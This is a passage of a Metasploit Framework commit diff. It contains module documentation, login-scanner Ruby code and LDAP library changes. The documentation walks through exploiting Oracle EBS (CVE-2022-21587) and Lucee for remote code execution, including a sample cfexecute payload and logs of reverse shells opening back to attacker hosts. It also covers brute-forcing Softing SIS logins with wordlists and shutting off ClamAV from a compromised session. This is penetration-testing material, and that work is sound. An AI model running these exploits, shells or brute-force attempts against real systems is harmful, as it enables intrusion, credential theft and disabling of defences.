[!] Changing the SSL option's value may require changing RPORT!
SSL => true
msf6 auxiliary(scanner/http/softing_sis_login) > set RPORT 443
RPORT => 443
msf6 auxiliary(scanner/http/softing_sis_login) > run
[+] 192.168.50.119:443 - Success: 'admin:admin123'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/softing_sis_login) >
```
`creds` output:
```
msf6 auxiliary(scanner/http/softing_sis_login) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
192.168.50.119 192.168.50.119 8099/tcp (http) admin admin Password
192.168.50.119 192.168.50.119 443/tcp (https) admin admin123 Password
msf6 auxiliary(scanner/http/softing_sis_login) >
```
### Several targets, using different usernames and passwords
In this scenario, we have several targets that have different usernames and passwords for each.
All the targets have the Softing Secure Integration Server login page enabled at TCP/8099.
Contents of `usernames.txt`:
```
admin
admin1
user
lowpriv
guest
```
Contents of `passwords.txt`:
```
admin
admin123
BadPass
GoodPass?
P@ssw0rd
user
pass
password
lowpriv
```
Contents of `targets.txt`:
```
192.168.50.71
192.168.50.119
192.168.50.206
```
Module output:
```
msf6 > use auxiliary/scanner/http/softing_sis_login
msf6 auxiliary(scanner/http/softing_sis_login) > set RHOSTS file:/home/ubuntu/Documents/targets.txt
RHOSTS => file:/home/ubuntu/Documents/targets.txt
msf6 auxiliary(scanner/http/softing_sis_login) > set USER_FILE ~/Documents/usernames.txt
USER_FILE => ~/Documents/usernames.txt
msf6 auxiliary(scanner/http/softing_sis_login) > set PASS_FILE ~/Documents/passwords.txt
PASS_FILE => ~/Documents/passwords.txt
msf6 auxiliary(scanner/http/softing_sis_login) > set VERBOSE false
VERBOSE => false
msf6 auxiliary(scanner/http/softing_sis_login) > run
[+] 192.168.50.71:8099 - Success: 'admin:P@ssw0rd'
[*] Scanned 1 of 3 hosts (33% complete)
[+] 192.168.50.119:8099 - Success: 'admin:admin'
[*] Scanned 2 of 3 hosts (66% complete)
[+] 192.168.50.206:8099 - Success: 'admin:pass123'
[+] 192.168.50.206:8099 - Success: 'admin1:admin123'
[*] Scanned 3 of 3 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/softing_sis_login) >
```
Note that `VERBOSE` was set to `false` in this scenario to reduce amount of output on screen.
By default, `VERBOSE` is set to true, which also outputs failed login attempts.
`creds` output:
```
msf6 auxiliary(scanner/http/softing_sis_login) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
192.168.50.71 192.168.50.71 8099/tcp (http) admin P@ssw0rd Password
192.168.50.119 192.168.50.119 8099/tcp (http) admin admin Password
192.168.50.206 192.168.50.206 8099/tcp (http) admin pass123 Password
192.168.50.206 192.168.50.206 8099/tcp (http) admin1 admin123 Password
msf6 auxiliary(scanner/http/softing_sis_login) >
```
@@ -1,6 +1,6 @@
## Vulnerable Application
Froxlor is an open source web hosting control panel. Froxlor v2.0.6 and below suffers from a bug that allows
Froxlor is an open source web hosting control panel. Froxlor v2.0.7 and below suffers from a bug that allows
authenticated users to change the application logs path to any directory on the OS level which the user www-data can
write without restrictions from the backend which leads to writing a malicious Twig template that the application will
render. That will lead to achieving a remote command execution under the user www-data.
@@ -0,0 +1,135 @@
## Vulnerable Application
This module exploits CVE-2022-21587, an unauthenticated arbitrary file upload vulnerability in Oracle
Web Applications Desktop Integrator as shipped with Oracle E-Business Suite (EBS) versions
12.2.3 through to 12.2.11.
The exploit uploads a Java Server Page (JSP) payload in order to achieve code execution
as the `oracle` user, and will use the `java/jsp_shell_reverse_tcp` payload by default.
The Oracle EBS product is shipped as either a standalone appliance based on Linux, or an self
hosted application supporting multiple platforms, including Linux, Windows, Solaris, AIX and
HP-UP. This exploit module has been tested against the Linux based appliance, specifically
version 12.2.10.
A full technical analysis of the vulnerability can be found on
[AttackerKB](https://attackerkb.com/topics/Bkij5kK1qK/cve-2022-21587/rapid7-analysis).
## Target Setup
To setup the Oracle EBS appliance, you must download the appliance files, rebuild the appliance
image and install the appliance as a [VirtualBox](https://www.virtualbox.org/) virtual machine.
* Register an account at [Oracle E-Delivery](https://edelivery.oracle.com/osdc/faces/SoftwareDelivery)
and login to search for the required software. You will need to search for `REL: Oracle VM Virtual Appliance for
Oracle E-Business Suite` to find the appropriate download links. The version number should be listed at the end of the link.
* You will be presented with multiple ZIP files to download. These files will be extracted and
concatenated to create a single 70 GB Oracle Virtual Appliance (OVA) file. Instructions on how
to do this, as well as additional configuration instructions, can be found in the extracted
documentation located in `\V1005962-01\Documents\Oracle VM Virtual Appliance for Oracle E-Business
Suite Deployment Guide_Release 12.2.10.html`. Additionally a step by step guide for installation
and setup is available [here](https://blog.rishoradev.com/2021/04/12/oracle-ebs-r12-on-virtualbox/).
* Import the OVA file into VirtualBox. Once this is completed you may power on the virtual appliance.
You will require around 320 GB of hard disk space to complete this operation. Note, issues were encountered
if the IP address for the appliance changed after the initial install. It is recommended to use either a
static IP address or ensure your DHCP server provides the same address to the appliance.
* When booting the virtual appliance you will be asked to select a Linux kernel to boot from. The option
`Oracle Linux Server 7.9, with Linux 3.10.0-1160.11.1.e17.x86_64` was chosen during testing.
* Upon booting the virtual appliance for the first time you will be asked to login. Enter the username `root`
and follow the instructions displayed in the console to set the default passwords for the `root` and
`oracle` and `applmgr` user accounts. If asked to install the VISION demo instance, enter `VISION` to install
the demo data.
* Once installation and setup has been completed, you can SSH into the appliance as the user
`oracle` and start the database and application services with the following commands. Note, it has been observed that
when starting the apps, some may timeout when starting (an error will be displayed in the console), and may require
running `startapps.sh` a second time.
```
cd /u01/install/APPS/scripts/
./startdb.sh
./startapps.sh
```
* You can now access the WebLogic server over HTTP port `8000`.
## Options
## Verification Steps
From msfconsole perform the following steps:
1. `use exploit/linux/http/oracle_ebs_rce_cve_2022_21587`
2. Set `RHOST` to the target address and `RPORT` to the target port. The default `RPORT` is 8000 for
HTTP and 4443 for HTTPS. If using HTTPS set `SSL` to `true`.
3. Set `LHOST` and `LPORT` values for the default `java/jsp_shell_reverse_tcp` payload.
4. `check` to ensure the target is vulnerable.
5. `exploit`
6. Verify a command session has been opened and you can execute commands as the `oracle` user.
## Scenarios
### Oracle E-Business Suite 12.2.10 - Oracle Virtual Appliance (OVA)
```
msf6 > use exploit/linux/http/oracle_ebs_rce_cve_2022_21587
[*] Using configured payload java/jsp_shell_reverse_tcp
msf6 exploit(linux/http/oracle_ebs_rce_cve_2022_21587) > show options
Module options (exploit/linux/http/oracle_ebs_rce_cve_2022_21587):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metaspl
oit/basics/using-metasploit.html
RPORT 8000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (java/jsp_shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
SHELL no The system shell to use.
Exploit target:
Id Name
-- ----
0 Oracle EBS on Linux
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/oracle_ebs_rce_cve_2022_21587) > set RHOST 192.168.86.37
RHOST => 192.168.86.37
msf6 exploit(linux/http/oracle_ebs_rce_cve_2022_21587) > set LHOST 192.168.86.5
LHOST => 192.168.86.5
msf6 exploit(linux/http/oracle_ebs_rce_cve_2022_21587) > check
[*] 192.168.86.37:8000 - The target appears to be vulnerable. Oracle EBS version 12.2.10 detected.
msf6 exploit(linux/http/oracle_ebs_rce_cve_2022_21587) > exploit
[*] Started reverse TCP handler on 192.168.86.5:4444
[*] Targeting the endpoint: /OA_HTML/BneUploaderService
[*] Triggering the payload...
[+] Deleted /u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/applications/forms/forms/ygrne.jsp
[*] Command shell session 1 opened (192.168.86.5:4444 -> 192.168.86.37:59288) at 2023-02-10 12:20:43 +0000
id
uid=54321(oracle) gid=54321(oinstall) groups=54321(oinstall),54322(dba) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
uname -a
Linux apps 3.10.0-1160.11.1.el7.x86_64 #1 SMP Tue Dec 15 11:58:45 PST 2020 x86_64 x86_64 x86_64 GNU/Linux
exit
[*] 192.168.86.37 - Command shell session 1 closed.
msf6 exploit(linux/http/oracle_ebs_rce_cve_2022_21587) >
```
@@ -0,0 +1,221 @@
# Vulnerable Application
Lucee is an Open Source ColdFusion server/engine intended for rapid web development. Many implementations of
ColdFusion files support dynamic input and server side code execution.
In the case of this module, Lucees implementation supports the use of `cfexecute` and `cfscript` tags in `.cfm` files.
In addition to these features, Lucee provides a scheduled job feature. This feature will accept an
external `url` argument and query that page on execution. If logging is enabled, it is possible to
query a remote ColdFusion document, log it in the web root, and access it to execute its code,
subsequently achieving arbitrary server side code execution. The payload will run as the user
specified during the Lucee installation. On Windows, this is a service account; on Linux,
it is either the root user or lucee.
The series of requests to achieve this is as follows.
1. Authenticate as the administrator to the web admin panel
2. Create a scheduled job that includes a URL to the remote ColdFusion document
3. Update the scheduled job to turn on logging and ensure that the remote document is logged to the web root
4. Execute the scheduled job. The Lucee server will now reach out to and download the ColdFusion document from the attackers server
5. Access the document at the web root of the server, thus executing the payload.
The basic format for the remote ColdFusion document is as follows.
```html
<cfscript>
cfexecute(name="powershell.exe", arguments="-c whoami",timeout=5);
</cfscript>
```
The scheduled job feature of Lucee is available in all versions currently available through the vendors website,
available [here](https://download.lucee.org/).As this is default functionality that does not require
any additional setup/configuration, the application is vulnerable immediately upon setup.
## Verification Steps
1. Download and install Lucee from the vendors website. This can be done on either a Windows or Unix host.
No additional setup is needed beyond the initial installation walkthrough
2. Start MSF Console
3. Do: `use multi/http/lucee_scheduled_job`
4. Choose a target that reflects the target system
- `use X` (0 for Windows, 1 for Linux)
5. Select payload. This functions with command execution payloads and supports reverse shells and generic commands.
6. Select the desired payload and complete its requirement. `CMD`, `LHOST`, `LPORT`, etc.
7. Select the appropriate `RHOST`, `PASSWORD`, and (if necessary), the `TARGETURI`
8. Execute the payload. You should either receive a shell or see the output of your command.
## Options
### RHOSTS
Remote host to target.
### RPORT
Port being used by the Lucee admin panel. Default is 8888
### PASSWORD
The password of the administrative user. Lucee does not use a username, only a password to access the admin panel.
### TARGETURI
Target URI of the Lucee administrator panel. Default is
`/lucee/admin/web.cfm/`
### PAYLOAD_DEPLOY_TIMEOUT
Periodically, the target web server may take a moment to download and make the payload accessible. This
parameter determines how long the exploit should wait until considering the payload inaccessible.
## Scenarios
### Successful exploitation of a Windows 10 host running Lucee 5.3.10.120 for a service account shell
```
msf6 > use exploit/multi/http/lucee_scheduled_job
[*] Using configured payload cmd/windows/generic
msf6 exploit(multi/http/lucee_scheduled_job) > set payload cmd/windows/powershell_reverse_tcp
payload => cmd/windows/powershell_reverse_tcp
msf6 exploit(multi/http/lucee_scheduled_job) > set RHOSTS 10.0.0.164
RHOSTS => 10.0.0.164
msf6 exploit(multi/http/lucee_scheduled_job) > set LHOST 10.0.0.45
LHOST => 10.0.0.45
msf6 exploit(multi/http/lucee_scheduled_job) > set PASSWORD admin123
PASSWORD => admin123
msf6 exploit(multi/http/lucee_scheduled_job) > run
[*] Started reverse TCP handler on 192.168.19.145:4444
[+] Authenticated successfully
[*] Using URL: http://192.168.19.145:8081/W7hSRT7xJLjosBr.cfm
[+] Job W7hSRT7xJLjosBr created successfully
[+] Job W7hSRT7xJLjosBr updated successfully
[*] Executing scheduled job: W7hSRT7xJLjosBr
[+] Job W7hSRT7xJLjosBr executed successfully
[*] Attempting to access payload...
[*] Payload request received for /W7hSRT7xJLjosBr.cfm?RequestTimeout=50 from 192.168.19.131
[*] Attempting to access payload...
[*] Powershell session session 1 opened (192.168.19.145:4444 -> 192.168.19.131:53204) at 2023-02-28 19:52:46 -0600
[*] Received 500 response from W7hSRT7xJLjosBr.cfm
[+] Exploit completed.
[*] Removing scheduled job W7hSRT7xJLjosBr
[+] Scheduled job removed.
[*] Server stopped.
[!] This exploit may require manual cleanup of 'C:\lucee\tomcat\webapps\ROOT\W7hSRT7xJLjosBr.cfm' on the target
Shell Banner:
Windows PowerShell running as user LOCAL SERVICE on HOMELAB-BINCE
Copyright (C) Microsoft Corporation. All rights reserved.
-----
PS C:\lucee\tomcat>
```
### Successful exploitation of a Windows 10 host running Lucee 5.3.10.120 executing whoami
```
msf6 > use exploit/multi/http/lucee_scheduled_job
[*] Using configured payload cmd/windows/generic
msf6 exploit(multi/http/lucee_scheduled_job) > set PASSWORD admin123
PASSWORD => admin123
msf6 exploit(multi/http/lucee_scheduled_job) > set CMD whoami
CMD => whoami
msf6 exploit(multi/http/lucee_scheduled_job) > set RHOSTS 10.0.0.164
RHOSTS => 10.0.0.164
msf6 exploit(multi/http/lucee_scheduled_job) > run
[+] Authenticated successfully
[*] Using URL: http://192.168.19.145:8081/UHn0jvUP2ZDtgwN.cfm
[+] Job UHn0jvUP2ZDtgwN created successfully
[+] Job UHn0jvUP2ZDtgwN updated successfully
[*] Executing scheduled job: UHn0jvUP2ZDtgwN
[+] Job UHn0jvUP2ZDtgwN executed successfully
[*] Attempting to access payload...
[*] Payload request received for /UHn0jvUP2ZDtgwN.cfm?RequestTimeout=50 from 192.168.19.131
[*] Attempting to access payload...
[+] Received 200 response from UHn0jvUP2ZDtgwN.cfm
[+] Output: nt authority\local service
[+] Exploit completed.
[*] Removing scheduled job UHn0jvUP2ZDtgwN
[+] Scheduled job removed.
[*] Server stopped.
[!] This exploit may require manual cleanup of 'C:\lucee\tomcat\webapps\ROOT\UHn0jvUP2ZDtgwN.cfm' on the target
[*] Exploit completed, but no session was created.
```
### Successful exploitation of a Docker host running Lucee 5.1.4.19 for a shell as Lucee
```
msf6 > use exploit/multi/http/lucee_scheduled_job
[*] Using configured payload cmd/windows/generic
msf6 exploit(multi/http/lucee_scheduled_job) > set PASSWORD admin123
PASSWORD => admin123
msf6 exploit(multi/http/lucee_scheduled_job) > set target 1
target => 1
msf6 exploit(multi/http/lucee_scheduled_job) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf6 exploit(multi/http/lucee_scheduled_job) > set LHOSTS 10.0.0.45
LHOST => 10.0.0.45
msf6 exploit(multi/http/lucee_scheduled_job) > set RHOSTS 10.0.0.33
RHOSTS => 10.0.0.33
msf6 exploit(multi/http/lucee_scheduled_job) > set PASSWORD admin123
PASSWORD => admin123
msf6 exploit(multi/http/lucee_scheduled_job) > run
[*] Started reverse TCP handler on 192.168.19.145:4444
[+] Authenticated successfully
[*] Using URL: http://192.168.19.145:8081/CUyWHyD6Y.cfm
[+] Job CUyWHyD6Y created successfully
[+] Job CUyWHyD6Y updated successfully
[*] Executing scheduled job: CUyWHyD6Y
[+] Job CUyWHyD6Y executed successfully
[*] Attempting to access payload...
[*] Payload request received for /CUyWHyD6Y.cfm?RequestTimeout=50 from 192.168.19.145
[*] Attempting to access payload...
[*] Received 500 response from CUyWHyD6Y.cfm Check your listener!
[+] Exploit completed.
[*] Removing scheduled job CUyWHyD6Y
[+] Scheduled job removed.
[+] Deleted /srv/www/app/webroot/CUyWHyD6Y.cfm
[*] Command shell session 1 opened (192.168.19.145:4444 -> 192.168.19.145:58686) at 2023-02-28 19:56:11 -0600
[*] Server stopped.
whoami
root
```
### Successful exploitation of a Docker host running Lucee 5.1.4.19 executing whoami
```
msf6 > use exploit/multi/http/lucee_scheduled_job
[*] Using configured payload cmd/windows/generic
msf6 exploit(multi/http/lucee_scheduled_job) > set PASSWORD admin123
PASSWORD => admin123
msf6 exploit(multi/http/lucee_scheduled_job) > set target 1
target => 1
msf6 exploit(multi/http/lucee_scheduled_job) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/lucee_scheduled_job) > set payload cmd/unix/generic
payload => cmd/unix/generic
msf6 exploit(multi/http/lucee_scheduled_job) > set CMD whoami
CMD => whoami
msf6 exploit(multi/http/lucee_scheduled_job) > set PASSWORD admin123
PASSWORD => admin123
msf6 exploit(multi/http/lucee_scheduled_job) > run
[+] Authenticated successfully
[*] Using URL: http://192.168.19.145:8081/GCHSFzGe.cfm
[+] Job GCHSFzGe created successfully
[+] Job GCHSFzGe updated successfully
[*] Executing scheduled job: GCHSFzGe
[+] Job GCHSFzGe executed successfully
[*] Attempting to access payload...
[*] Payload request received for /GCHSFzGe.cfm?RequestTimeout=50 from 192.168.19.145
[+] Received 200 response from GCHSFzGe.cfm
[+] Output: root
[+] Exploit completed.
[*] Removing scheduled job GCHSFzGe
[+] Scheduled job removed.
[*] Server stopped.
[!] This exploit may require manual cleanup of '/srv/www/app/webroot/GCHSFzGe.cfm' on the target
[*] Exploit completed, but no session was created.
```
## Caveats
There are a few caveats worth mentioning that are inherent to Lucee's implementation of ColdFusion
- When a shell command returns multiple lines of output, coldfusion may limit the amount that is returned; i.e. it
will return the full value of an `ls` command, but it may not return the full value of `netstat`
@@ -0,0 +1,55 @@
### Description
This module will cause the ClamAV service to be shutoff on Linux hosts.
ClamAV uses a Unix socket that allows non-privileged users to interact with the ClamAV daemon via utilities like "clamscan".
However, no additional checks are required to trigger ClamAV's shutdown.
## Verification Steps
### Shuting off ClamAV
1. Launch `msfconsole`
2. Get a Meterpreter shell on a Linux host that's also running ClamAV.
3. Do: `use post/linux/manage/disable_clamav`
4. Do: `set SESSION <session number on the Linux host>`
6. Do: `exploit -j`
7. The daemon should be shutoff.
## Scenarios
```
msf6 post(linux/manage/disable_clamav) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
4 meterpreter x86/linux dllcoolj @ 192.168.130.1 127.0.0.1:4444 -> 127.0.0.1:38360 (127.0.0.1)
msf6 post(linux/manage/disable_clamav) > show options
Module options (post/linux/manage/disable_clamav):
Name Current Setting Required Description
---- --------------- -------- -----------
CLAMAV_UNIX_SOCKET /run/clamav/clamd.ctl yes ClamAV unix socket
SESSION 4 yes The session to run this module on
View the full module info with the info, or info -d command.
msf6 post(linux/manage/disable_clamav) > ps -ef | grep 'clamd'
[*] exec: ps -ef | grep 'clamd'
clamav 132021 1 16 18:51 ? 00:00:09 clamd
dllcoolj 132533 71177 0 18:52 pts/3 00:00:00 sh -c ps -ef | grep 'clamd'
dllcoolj 132535 132533 0 18:52 pts/3 00:00:00 grep clamd
msf6 post(linux/manage/disable_clamav) > exploit -j
[*] Post module running as background job 10.
msf6 post(linux/manage/disable_clamav) >
[*] Checking file path /run/clamav/clamd.ctl exists and is writable...
[+] File does exist and is writable!
[*] Shutting down ClamAV!
msf6 post(linux/manage/disable_clamav) > ps -ef | grep 'clamd'
[*] exec: ps -ef | grep 'clamd'
dllcoolj 132927 132925 0 18:52 pts/3 00:00:00 grep clamd
```
@@ -0,0 +1,141 @@
require 'metasploit/framework/login_scanner/http'
module Metasploit
module Framework
module LoginScanner
class SoftingSIS < HTTP
DEFAULT_PORT = 8099
DEFAULT_SSL_PORT = 443
PRIVATE_TYPES = [ :password ]
LOGIN_STATUS = Metasploit::Model::Login::Status
# Check if the target is Softing Secure Integration Server
#
# @return [Boolean] TrueClass if target is SIS, otherwise FalseClass
def check_setup
# we can interact with this endpoint as an unauthenticated user
uri = normalize_uri("#{uri}/runtime/core/product-version")
res = send_request({ 'uri' => uri })
# make sure we get a response, and that the check was successful
unless res && res.code == 200
return { status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: res.to_s }
end
# convert the response to JSON
# we expect to see a response like {"version" : "1.22.0.8686"}
res_json = res.get_json_document
# if we successfully get the version
if res_json['version']
# return true
return res_json['version']
end
false
end
# the actual login method, called by #attempt_login
#
# @param user [String] The username to try
# @param pass [String] The password to try
# @return [Hash]
# * status [Metasploit::Model::Login::Status]
# * proof [String] the HTTP response body
def do_login(user, pass)
# prep the data needed for login
protocol = ssl ? 'https' : 'http'
# attempt to get an authentication token
auth_token_uri = normalize_uri("#{uri}/runtime/core/user/#{user}/authentication-token")
# send the request to get an authentication token
auth_res = send_request({
'method' => 'GET',
'uri' => auth_token_uri,
'cookie' => 'lang=en; user=guest'
})
# check if we get a response
unless auth_res
return { status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: auth_res.to_s }
end
# convert the response to JSON
auth_json = auth_res.get_json_document
# if the response code is 404, the user does not exist
if auth_res.code == 404 && auth_json && auth_json['Message']
return { status: LOGIN_STATUS::INCORRECT, proof: auth_json['Message'] }
end
# if the response code is 403, the user exists but access is denied
if auth_res.code == 403 && auth_json && auth_json['Message']
return { status: LOGIN_STATUS::DENIED_ACCESS, proof: auth_json['Message'] }
end
# get authentication token
auth_token = auth_json['authentication-token']
# check that the token is not blank
if auth_token.blank?
framework_module.vprint_error('Received empty authentication token!')
return { status: LOGIN_STATUS::INCORRECT, proof: auth_res.body.to_s }
end
login_uri = normalize_uri("#{uri}/runtime/core/user/#{user}/authentication")
# calculate signature to use when logging in
signature = Digest::MD5.hexdigest(auth_token + pass + auth_token + user + auth_token)
# GET parameters for login
vars_get = {
'Signature' => signature,
'User' => user
}
# do the login
res = send_request({
'method' => 'GET',
'uri' => login_uri,
'cookie' => 'lang=en; user=guest',
'headers' => { 'Referer' => "#{protocol}://#{host}:#{port}" },
'vars_get' => vars_get
})
unless res
return { status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: res.to_s }
end
# the response is in JSON format
res_json = res.get_json_document
# a successful response will contain {"Message": "Success"}
if res.code == 200 && res_json && res_json['Message'] == 'Success'
return { status: LOGIN_STATUS::SUCCESSFUL, proof: res.body }
end
{ status: LOGIN_STATUS::INCORRECT, proof: res.body }
end
# Attempts to login to Softing Secure Integration Server
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Result] A Result object indicating success or failure
def attempt_login(credential)
result_opts = {
credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT,
proof: nil,
host: host,
port: port,
protocol: 'tcp'
}
begin
result_opts.merge!(do_login(credential.public, credential.private))
rescue ::Rex::ConnectionError => e
# something went wrong during login
result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)
end
Result.new(result_opts)
end
end
end
end
end
+1 -1
View File
@@ -32,7 +32,7 @@ module Metasploit
end
end
VERSION = "6.3.4"
VERSION = "6.3.5"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
@@ -17,6 +17,9 @@ module Msf::Exploit::Remote::AuthOption
# plaintext authentication is used
PLAINTEXT = 'plaintext'
# SCHANNEL authentication is used.
SCHANNEL = 'schannel'
# Do not authenticate with the service
NONE = 'none'
@@ -41,6 +44,7 @@ module Msf::Exploit::Remote::AuthOption
AUTO,
NTLM,
KERBEROS,
SCHANNEL,
PLAINTEXT,
NONE
]
@@ -78,7 +78,7 @@ module Msf
client_info = Rex::Proto::Kerberos::Pac::Krb5ClientInfo.new(
client_id: logon_time,
name: user_name
)
)
server_checksum = Rex::Proto::Kerberos::Pac::Krb5PacServerChecksum.new(
signature_type: checksum_type
@@ -97,7 +97,7 @@ module Msf
pac_type = Rex::Proto::Kerberos::Pac::Krb5Pac.new
pac_type.assign(pac_elements: pac_elements)
pac_type.sign!(key: opts[:checksum_enc_key])
pac_type.sign!(service_key: opts[:checksum_enc_key])
pac_type
end
+50 -18
View File
@@ -30,13 +30,14 @@ module Msf
OptBool.new('SSL', [false, 'Enable SSL on the LDAP connection', false]),
Msf::OptString.new('DOMAIN', [false, 'The domain to authenticate to']),
Msf::OptString.new('USERNAME', [false, 'The username to authenticate with'], aliases: ['BIND_DN']),
Msf::OptString.new('PASSWORD', [false, 'The password to authenticate with'], aliases: ['BIND_PW']),
Msf::OptString.new('PASSWORD', [false, 'The password to authenticate with'], aliases: ['BIND_PW'])
])
register_advanced_options(
[
*kerberos_storage_options(protocol: 'LDAP'),
*kerberos_auth_options(protocol: 'LDAP', auth_methods: Msf::Exploit::Remote::AuthOption::LDAP_OPTIONS),
Msf::OptPath.new('LDAP::CertFile', [false, 'The path to the PKCS12 (.pfx) certificate file to authenticate with'], conditions: ['LDAP::Auth', '==', Msf::Exploit::Remote::AuthOption::SCHANNEL]),
OptFloat.new('LDAP::ConnectTimeout', [true, 'Timeout for LDAP connect', 10.0])
]
)
@@ -86,6 +87,35 @@ module Msf
end
case datastore['LDAP::Auth']
when Msf::Exploit::Remote::AuthOption::SCHANNEL
pfx_path = datastore['LDAP::CertFile']
fail_with(Msf::Exploit::Remote::Failure::BadConfig, 'The LDAP::CertFile option is required when using SCHANNEL authentication.') if pfx_path.blank?
fail_with(Msf::Exploit::Remote::Failure::BadConfig, 'The SSL option must be enabled when using SCHANNEL authentication.') if datastore['SSL'] != true
unless ::File.file?(pfx_path) and ::File.readable?(pfx_path)
fail_with(Msf::Exploit::Remote::Failure::BadConfig, 'Failed to load the PFX certificate file. The path was not a readable file.')
end
begin
pkcs = OpenSSL::PKCS12.new(File.binread(pfx_path), '')
rescue => e
fail_with(Msf::Exploit::Remote::Failure::BadConfig, "Failed to load the PFX file (#{e})")
end
connect_opts[:auth] = {
method: :sasl,
mechanism: 'EXTERNAL',
initial_credential: '',
challenge_response: true
}
connect_opts[:encryption] = {
method: :start_tls,
tls_options: {
verify_mode: OpenSSL::SSL::VERIFY_NONE,
cert: pkcs.certificate,
key: pkcs.key
}
}
when Msf::Exploit::Remote::AuthOption::KERBEROS
fail_with(Msf::Exploit::Failure::BadConfig, 'The Ldap::Rhostname option is required when using Kerberos authentication.') if datastore['Ldap::Rhostname'].blank?
fail_with(Msf::Exploit::Failure::BadConfig, 'The DOMAIN option is required when using Kerberos authentication.') if datastore['DOMAIN'].blank?
@@ -264,8 +294,8 @@ module Msf
end
# NOTE: Find the first entry that starts with `DC=` as this will likely be the base DN.
naming_contexts.select! {|context| context =~ /^(DC=[A-Za-z0-9-]+,?)+$/}
naming_contexts.reject! {|context| context =~ /(Configuration)|(Schema)|(ForestDnsZones)/}
naming_contexts.select! { |context| context =~ /^(DC=[A-Za-z0-9-]+,?)+$/ }
naming_contexts.reject! { |context| context =~ /(Configuration)|(Schema)|(ForestDnsZones)/ }
if naming_contexts.blank?
print_error("#{peer} A base DN matching the expected format could not be found!")
return
@@ -287,26 +317,26 @@ module Msf
# bind request failed.
# @return [Nil] This function does not return any data.
def validate_bind_success!(ldap)
bind_result = ldap.as_json['result']['ldap_result']
bind_result = ldap.get_operation_result.table
# Codes taken from https://ldap.com/ldap-result-code-reference-core-ldapv3-result-codes
case bind_result['resultCode']
case bind_result[:code]
when 0
vprint_good('Successfully bound to the LDAP server!')
when 1
fail_with(Msf::Module::Failure::NoAccess, "An operational error occurred, perhaps due to lack of authorization. The error was: #{bind_result['errorMessage'].strip}")
fail_with(Msf::Module::Failure::NoAccess, "An operational error occurred, perhaps due to lack of authorization. The error was: #{bind_result[:error_message].strip}")
when 7
fail_with(Msf::Module::Failure::NoTarget, 'Target does not support the simple authentication mechanism!')
when 8
fail_with(Msf::Module::Failure::NoTarget, "Server requires a stronger form of authentication than we can provide! The error was: #{bind_result['errorMessage'].strip}")
fail_with(Msf::Module::Failure::NoTarget, "Server requires a stronger form of authentication than we can provide! The error was: #{bind_result[:error_message].strip}")
when 14
fail_with(Msf::Module::Failure::NoTarget, "Server requires additional information to complete the bind. Error was: #{bind_result['errorMessage'].strip}")
fail_with(Msf::Module::Failure::NoTarget, "Server requires additional information to complete the bind. Error was: #{bind_result[:error_message].strip}")
when 48
fail_with(Msf::Module::Failure::NoAccess, "Target doesn't support the requested authentication type we sent. Try binding to the same user without a password, or providing credentials if you were doing anonymous authentication.")
when 49
fail_with(Msf::Module::Failure::NoAccess, 'Invalid credentials provided!')
else
fail_with(Msf::Module::Failure::Unknown, "Unknown error occurred whilst binding: #{bind_result['errorMessage'].strip}")
fail_with(Msf::Module::Failure::Unknown, "Unknown error occurred whilst binding: #{bind_result[:error_message].strip}")
end
end
@@ -314,9 +344,11 @@ module Msf
# Fail with an appropriate error code if the query failed.
#
# @param query_result [Hash] A hash containing the results of the query
# as a 'resultCode' with an integer representing the result code,
# 'errorMessage' containing an optional error message, and
# 'matchedDN' containing the matched DN.
# as a 'extended_response' representing the extended response,
# a 'code' with an integer representing the result code,
# a 'error_message' containing an optional error message as a Net::BER::BerIdentifiedString,
# a 'matched_dn' containing the matched DN,
# and a 'message' containing the query result message.
# @param filter [Net::LDAP::Filter] A Net::LDAP::Filter to use to
# filter the results of the query.
#
@@ -326,19 +358,19 @@ module Msf
# @return [Nil] This function does not return any data.
def validate_query_result!(query_result, filter)
if query_result.class != Hash
raise ArgumentError.new('Parameter to "validate_query_result!" function was not a Hash!')
raise ArgumentError, 'Parameter to "validate_query_result!" function was not a Hash!'
end
# Codes taken from https://ldap.com/ldap-result-code-reference-core-ldapv3-result-codes
case query_result['resultCode']
case query_result[:code]
when 0
vprint_status("Successfully queried #{filter}.")
when 1
# This is unknown as whilst we could fail on lack of authorization, this is not guaranteed with this error code.
# The user will need to inspect the error message to determine the root cause of the issue.
fail_with(Msf::Module::Failure::Unknown, "An LDAP operational error occurred on #{filter}. It is likely the client requires authorization! The error was: #{query_result['errorMessage'].strip}")
fail_with(Msf::Module::Failure::Unknown, "An LDAP operational error occurred on #{filter}. It is likely the client requires authorization! The error was: #{query_result[:error_message].strip}")
when 2
fail_with(Msf::Module::Failure::BadConfig, "The LDAP protocol being used by Metasploit isn't supported. The error was #{query_result['errorMessage'].strip}")
fail_with(Msf::Module::Failure::BadConfig, "The LDAP protocol being used by Metasploit isn't supported. The error was #{query_result[:error_message].strip}")
when 3
fail_with(Msf::Module::Failure::TimeoutExpired, "The LDAP server returned a timeout response to the query #{filter}.")
